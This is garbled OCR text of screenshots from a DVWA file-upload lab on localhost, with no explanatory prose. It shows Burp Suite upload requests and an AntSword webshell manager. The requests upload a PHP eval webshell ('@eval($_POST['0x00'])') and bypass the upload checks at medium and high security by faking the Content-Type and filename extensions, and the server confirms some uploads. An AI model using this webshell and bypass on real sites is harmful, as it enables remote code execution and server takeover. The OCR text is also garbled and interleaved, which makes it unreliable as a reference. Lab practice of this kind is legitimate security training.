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£ Setting
i= Shell Lists (1) s Category (1)
URL P ADDR NOTE CTIME UTIME © Add A Rename
http://localhost:90//hackable/uplc 127.0.0.1 TANA {R 311t P T2 i e 2021/06/28 15:23:02  2021/06/28 15:23:10 [ Default
[ Edit shell(http://localhost:90/ /hackable/uploads/payload.php) o (=)0
Save % Clear  <* Test Connection
B Base v
Shell url * http://localhost:90//hackable/uploads/payload.php
Shell pwd * 0x00
Note
Encode UTF8 v
Shell type PHP v
Encoder
default (Not recommended)
+' random (Not recommended)
base64
@ HTTP ~
% Other ~
[ ) [ ) AntSword
« 2 5127.0.0.1
O Folders (0) < [OFiles (3)
=/ ONew » AUP < Refresh A Home M Bookmark » | /var/www/html/hackable/uploads/ < Read
=0 var Name Time Size Attr
=T www
- 1.php 2021-06-28 07:16:00 44b
~ I hackable @ dvwa_email.png 2018-10-12 17:44:28 667 b
| uploads payload.php 2021-06-28 07:21:49 34b
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Instructions |

Setup / Reset DB |

Brute Force

Command Injection
CSRF

Choose an image to upload:

Choose File | No file chosen

Your image was not uploaded. We can only accept JPEG or PNG images.
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[ ) @® Burp Suite Professional v2021.2 - Temporary Project - licensed to r4bbit
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
15 x
Cancel Target: http://localhost:90 /
a= =
Request Response

Pretty m \n  Actions v

1 POST /vulnerabilities/upload/ HTTP/1.1
2 Host: localhost:90
3 Content-Length: 430
4 Cache-Control: max-age=0
5 sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
6 sec-ch-ua-mobile: 20
7 Upgrade-Insecure-Requests: 1
8 Origin: http://localhost:90
9 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAsUHPUUEoJx0CeQN
0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/88.0.4324.150 Safari/537.36
L1 Accept:
text/html,application/xhtml+xml, appllcatlon/xml,q—o 9,image/avif, image/webp, image/apn
g,*/*;q=0.8 appllcatlon/slgned exchange;v=b3;q=0.
L2 Sec-Fetch-Site: same-origin
L3 Sec-Fetch-Mode: navigate
L4 Sec-Fetch-User: 2?1
L5 Sec-Fetch-Dest: document
L6 Referer: http://localhost:90/vulnerabilities/upload/
L7 Accept-Encoding: gzip, deflate
L8 Accept-Language: en-US,en;
L9 Cookie: PHPSESSID—4dbOnpt7u20:Lctflk567l3]113
20 Connection: close

security=medium

~-WebKitFormBoundaryAsUHPUUEoJx0CeQN
23 Content -Disposition: form-data; name="MAX FILE_ SIZE"

25 100000 .

26 ————— WebKitFormBoundaryAsUHPUUEoJx0CeQN

27 Content-Disposition: form-data; name="uploaded"; filename="payload.php.jpg"
28 Content-Type: text/php

29

30 <?php

31 @eval($_POST['0x00']);

32 2>

33

34

35

36 === WebKitFormBoundaryAsUHPUUEoJx0CeQN

37 Content-Disposition: form-data; name="Upload"
38

39 Upload

10 —=—m=- WebKitFormBoundaryAsUHPUUEOJx0CeQN-—

0 matches

?)@ ‘E‘[E\ l Search...

Pann

<li clas;
<a href:
</1i>
63 </ul>
64 </div>
65
66 </div>
67
68 <div id="main_body">
69
70
71 <div class="body_padded">
72 <h1>
Vulnerability: File Upload
</h1>
73
74
75
76 <div class="vulnerable code_area">
77 <form enctype="multipart/form-data" actio: #" method="POST">
78 <input type="hidden" name="MAX FILE_SIZE" value="100000" />
79 Choose an image to upload:<br />
<br />
80 <input name="uploaded" type="file" />
<br />
81 <br />
82 <input type="submit" name="Upload" value="Upload" />
83
84 </form>
85 <pre>
Your image was not uploaded. We can only accept JPEG or PNG images.
</pre>
86 </div>
87
88 <h2>
More Information
</h2>
89 <ul>
90 <li>
<a href="https://www.owasp.org/index.php/Unrestricted File Upload" ta
</1i>
91 <li>
<a href="https://blogs.securiteam.com/index.php/archives/1268" target
</1i>
92 <li>
<a href="https://www.acunetix.com/websitesecurity/upload-forms-threat
</1i>
93 </ul>
94 </div>
95 <br />
<br />
96
97
98 </div>
99
100 <div class="clear">
101 </div>
102
103 <div id="syste
104 <input type iew Help" class="popup_button" i 'help button
<input type View Source" class="popup button" id='source b
<div align="left">
@{@} &HS ‘ Search... 0 matches
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[ ] @ Burp Suite Professional v2021.2 - Temporary Project - licensed to r4bbit
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
15 x
m Cancel Target: http://localhost:90 / @
a== =
Request Response .
Pretty J3EYl \n  Actions v HCWA Raw Render \n  Actions v g
1 POST /vulnerabilities/upload/ HTTP/1.1 61 v
2 Host: localhost:90 /../about.php">About</a> En)
3 Content-Length: 427 </1i> ~
4 Cache-Control: max-age=0 62 </ul> (o]
5 sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88" <ul class="menuBlocks"> e
6 sec-ch-ua-mobile: 20 <1li class="">
7 Upgrade-Insecure-Requests: 1 <a href="../../logout.php">Logout</a>
8 Origin: http://localhost:90 </1li>
9 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAsUHPUUEoJx0CeQN 63 </ul>
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 64 </div>
Gecko) Chrome/88.0.4324.150 Safari/537.36 65
11 Accept: 66 </div>
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,image/apn 67
g,*/*;q=0.8 appl].catlon/slgned—exchange v=b3;g=0.9 68 <div id="main_body">
12 Sec-Fetch-Slte same-origin 69
13 Sec-Fetch-Mode: navigate 70
14 Ssec-Fetch-User: 2?1 71 <div class="body padded">
15 Sec-Fetch-Dest: document 72 <h1>
16 Referer: http://localhost:90/vulnerabilities/upload/ Vulnerability: File Upload
17 Accept-Encoding: gzip, deflate </h1>
18 Accept-Language: en-US,en;g=0.9 73
19 Cookie: PHPSESSID=4dbOnpt7u20ictflks6713j1i3; security=medium 74
20 Connection: close 75
21 76 <div class="vulnerable code_area">
22 === WebKitFormBoundaryAsUHPUUEoJx0CeQN 77 <form enctype="multipart/form-data" action="#" method="POST">
23 Content-Disposition: form-data; name="MAX FILE SIZE" 78 <input type="hidden" name="MAX FILE_SIZE" value="100000" />
24 79 Choose an image to upload:<br />
25 100000 <br />
26 ————me] WebKitFormBoundaryAsUHPUUEOJX0CeQN 80 <input name="uploaded" type="file" />
27 Content-Disposition: form-data; name="uploaded"; filename="payload.php" <br />
28 Content-Type: image/png 81 <br />
29 82 <input type="submit" name="Upload" value="Upload" />
30 <?php 83
31 @eval($_POST['0x00']); 84 </form>
32 2> 85 <pre> .
33 ../../hackable/uploads/payload.php succesfully uploaded!
34 </pre>
35 86 </div>
36 —————-1 ‘WebKitFormBoundaryAsUHPUUEoJx0CeQN 87
37 Content-Disposition: form-data; name="Upload" 88 <h2>
38 More Information
39 Upload </h2>
10 - —-WebKitFormBoundaryAsUHPUUEOJX0CeQN-~ 89 <ul>
41 90 <li>
<a href="https://www.owasp.org/index.php/Unrestricted File Upload" ta
</1i>
91 <li>
<a href="https://blogs.securiteam.com/index.php/archives/1268" target
</1li>
92 <li>
<a href="https://www.acunetix.com/websitesecurity/upload-forms-threat
</1li>
93 </ul>
94 </div>
95 <br />
<br />
96
97
98 </div>
99
100 <div class="clear">
101 </div>
102
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[} ( ] Burp Suite Professional v2021.2 - Temporary Project - licensed to r4bbit
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
15 x 16 x

Target: http//localhost:90

Request Response

Pretty MEEUM \n  Actions v

1 POST /vulnerabilities/upload/ HTTP/1.1 <u1 class=" menuBlocks">
2 Host: localhost:90 <li class="">
3 Content-Length: 434 <a href ../../logout php">Logout</a>
4 Cache-Control: max-age=0 </li>
5 sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88" 63 </ul>
6 sec-ch-ua-mobile: 20 64 </div>
7 Upgrade-Insecure-Requests: 1 65
8 Origin: http://localhost:90 66 </div>
9 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RQ0JodiuP97JVVy 67
L0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like ¢g <div id="main body">
Gecko) Chrome/88.0.4324.150 Safari/537.36 69 -
L1 Accept: 70
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apn 71 <div class="body padded">
g,*/*;q=0.8 appllcatlon/slgned-exchange'v—b3,q—0. 72 <hl>
L2 Sec-Fetch- Slte. same-origin Vulnerability: File Upload
L3 Sec-Fetch-Mode: navigate </h1>
L4 Sec-Fetch-User: 2?1 73
L5 Sec-Fetch-Dest: document 74
L6 Referer: http://localhost:90/vulnerabilities/upload/ 75
L7 Accept-Encoding: gzip, deflate 76 <div class="vulnerable_code area">
L8 Accept-Language: en-US,en;q=0 77 <form enctype="multipart/form-data" action="#" method="POST">
L9 Cookie: PHESESSID-AdbOnpt?uZO1ctf1k56713;|113, security=high 78 <input type="hidden" name="MAX FILE SIZE" value="100000" />
20 Connection: close 79 Choose an image to upload:<br />
21 <br />
22 m———ee WebKitFormBoundary3RQ0JodiuP97JVV: 80 <input name="uploaded" type="file" />
23 Content-Disposition: form-data; name="MAX FILE SIZE" <br />
24 81 <br />
25 100000 82 <input type="submit" name="Upload" value="Upload" />
26 —————e WebKitFormBoundary3RQ0JodiuP97JVVy 83
27 Content-Disposition: form-data; name="uploaded"; filename="alert.php" 84 </form>
28 Content-Type: image/png 85 <pre>
29 Your image was not uploaded. We can only accept JPEG or PNG images.
30 <?php </pre>
31 echo "Chaos is a Ladder -0x00"; 86 </div>
32 2> 87
33 88 <h2>
34 More Information
35 </h2>
36 —====- WebKitFormBoundary3RQ0JodiuP97JVVy 89 <ul>
37 Content-Disposition: form-data; name="Upload" 90 <li>
38 <a href="https://www.owasp.org/index.php/Unrestricted File Upload" ta
39 Upload </li>
10 ————mn WebKitFormBoundary3RQ0JodiuP97JVVy—— 91 <li>
i1 <a href="https://blogs.securiteam.com/index.php/archives/1268" target:
</1li>
92 <li>
<a href="https://www.acunetix.com/websitesecurity/upload-forms-threat
</1i>
93 </ul>
94 </div>
95 <br />
<br />
96
97
98 </div>
99
100 <div class="clear">
101 </div>
102
103 <div id="system info">
104 <input type="button" value="View Help" class=" popup_L button" id='help button

<input type button" value="View Source" class="popup button" id='source b
Py
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@ [ ] Burp Suite Professional v2021.2 - Temporary Project - li d to r4bbit
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
15 x 16 x
m Cancel Target: http://localhost:90 /
o= =
Request Response
Pretty MEEWM \n  Actions v (WA Raw Render \n  Actions v
1 POST /vulnerabilities/upload/ HTTP/1.1 e - ; "
2 Host: localhost:90 ./../phpinfo.php">PHP Info</a>
3 Content-Length: 434 61 >
4 Cache-Control: max-age=0 "
5 sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88" - -/about..php">About</a>
6 sec-ch-ua-mobile: 20 62
7 Upgrade-Insecure-Requests: 1 < _ "
8 Origin: http://localhost:90 uil‘i:l:izs men:BlOCks
9 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RQ0JodiuP97JVVy <a hre /. ./logout.php">Logout</a>
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like </1i> e °
Gecko) Chrome/88.0.4324.150 Safari/537.36 63 </ul>
11 Accept: 64 </div>
text/html,application/xhtml+xml,application/xml; q-O 9,image/avif, image/webp, image/apn 65
g,*/*;q=0.8 appllcatu:m/slgned exchange;v=b3;g=0. 66 </div>
12 Sec-Fetch Site: same-origin 67
13 Sec-Fetch-Mode: navigate iv id="mai "
14 Sec-Fetch-User: ?1 gg <div id="main_body">
15 Sec-Fetch-Dest: document 70
16 Referer: http://localhost:90/vulnerabilities/upload/ <di - v
17 Accept-Encoding: gzip, deflate ;%_ dixlglass body_padded
18 Accept-Language: en-US,en; ilitv: Fi
19 Cookie: PHPSESSID—4dbOnpt7u201ctf1k567l3j11.3, security=high < /x‘i‘i“erab‘hty' File Upload
20 Connection: close 73
21
22 -WebKitFormBoundary3RQ0JodiuP97JVVy ;g
23 Content-Disposition: form-data; name="MAX FILE_SIZE" 76 <div class="vulnerable code area">
%g 100000 77 <form enctype="multipart/form-data" action="#" method="POST">
< —hi B —n B —n v s
26 ————=- W ebK1tFonnBoundaryBRQOJodluPs7JVV ;g C;gg:: :zp;“az;dignup?gl:g:<g§X7EILE_SIZE value="100000" /
27 Content-Disposition: form-data; name="uploaded"; filename="alert.jpg" <br />
;8 Content-Type: image/png 80 <input name="uploaded" type="file" />
9 5 <br />
30 <zphp ) . 81 <br />
g% (?egho Chaos is a Ladder -0x00"; 82 <input type="submit" name="Upload" value="Upload" />
83
gi 84 </form>
35 85 <pre>
36— WebKitFo oundary3RQ0JodiuP97IVVyY </;g:§ image was not uploaded. We can only accept JPEG or PNG images.
37 Content-Disposition: form-data; name="Upload" s
38 86 </div>
39 Upload g; <h2>
40 -WebKitFormBoundary3RQ0JodiuP97JVVy-- More Information
4 </h2>
89 <ul>
90 <li>
<a href="https://www.owasp.org/index.php/Unrestricted File Upload" ta:
</1i>
91 <li>
<a href="https://blogs.securiteam.com/index.php/archives/1268" target=
</1i>
92 <li>
<a href="https://www.acunetix.com/websitesecurity/upload-forms-threat,
</1i>
93 </ul>
94 </div>
95 <br />
<br />
96
97
98 </div>

‘ Search... 1 match
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| @ [ ] Burp Suite Pr 1 v2021.2 - Temporary Project - li d to r4bbit
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options
21 x
B oo Target: http//localhost90
a:= =
Request Response
Pretty MEEWM \n  Actions v IZEWA Raw Render \n  Actions v

15 ACcept-Language: en-us,en;
19 Cookie: PHPSESSID= 4db0npt7u201ctf1k56713]113,- security=high
20 Connection: close

21

22 WebKitFor ryzUN9IVG. Op

23 Content-Disposition: form-data; name="MAX FILE_SIZE"
24

25 100000

26 WebKitFor daryzUN9rV

Op
27 Content-Disposition: form-data; name="uploaded"; filename="1.jpg"
28 Content-Type: txt/php
29
30 §
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71 <div class="body_padded">
72 <h1>
Vulnerability: File Upload
</h1>
73
74
75
76 <div class="vulnerable code_area">
77 <form enctype="multipart/form-data" action="#" method="POST">
78 <input type="hidden" name="MAX FILE SIZE" value="100000" />
79 Choose an image to upload:<br />
<br />
80 <input name="uploaded" type="file" />
<br />
81 <br />
82 <input type="submit" name="Upload" value="Upload" />
83
84 </form>
85 <pre> .
../../hackable/uploads/1.jpg succesfully uploaded!
</pre>
86 </div>
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88 <h2>
More Information
</h2>
89 <ul>
90 <li>
<a href="https://www.owasp.org/index.php/Unrestricted File Upload" tar
</li>
91 <li>
<a href="https://blogs.securiteam.com/index.php/archives/1268" target=
</li>
92 <li>
<a href="https://www.acunetix.com/websitesecurity/upload-forms-threat/
</1li>
93 </ul>
94 </div>
95 <br />
<br />
96
97
98 </div>
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100 <div class="clear">
101 </div>
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103 <div id="system info">
104 i utton" value="View Help" class="popup_button" id='help_ button'

button" value="View Source"
eft">

class="popup_button"

admin<br />
<em>

Security Level:
</em>

hlgh<br />

PHPIDS
</em>
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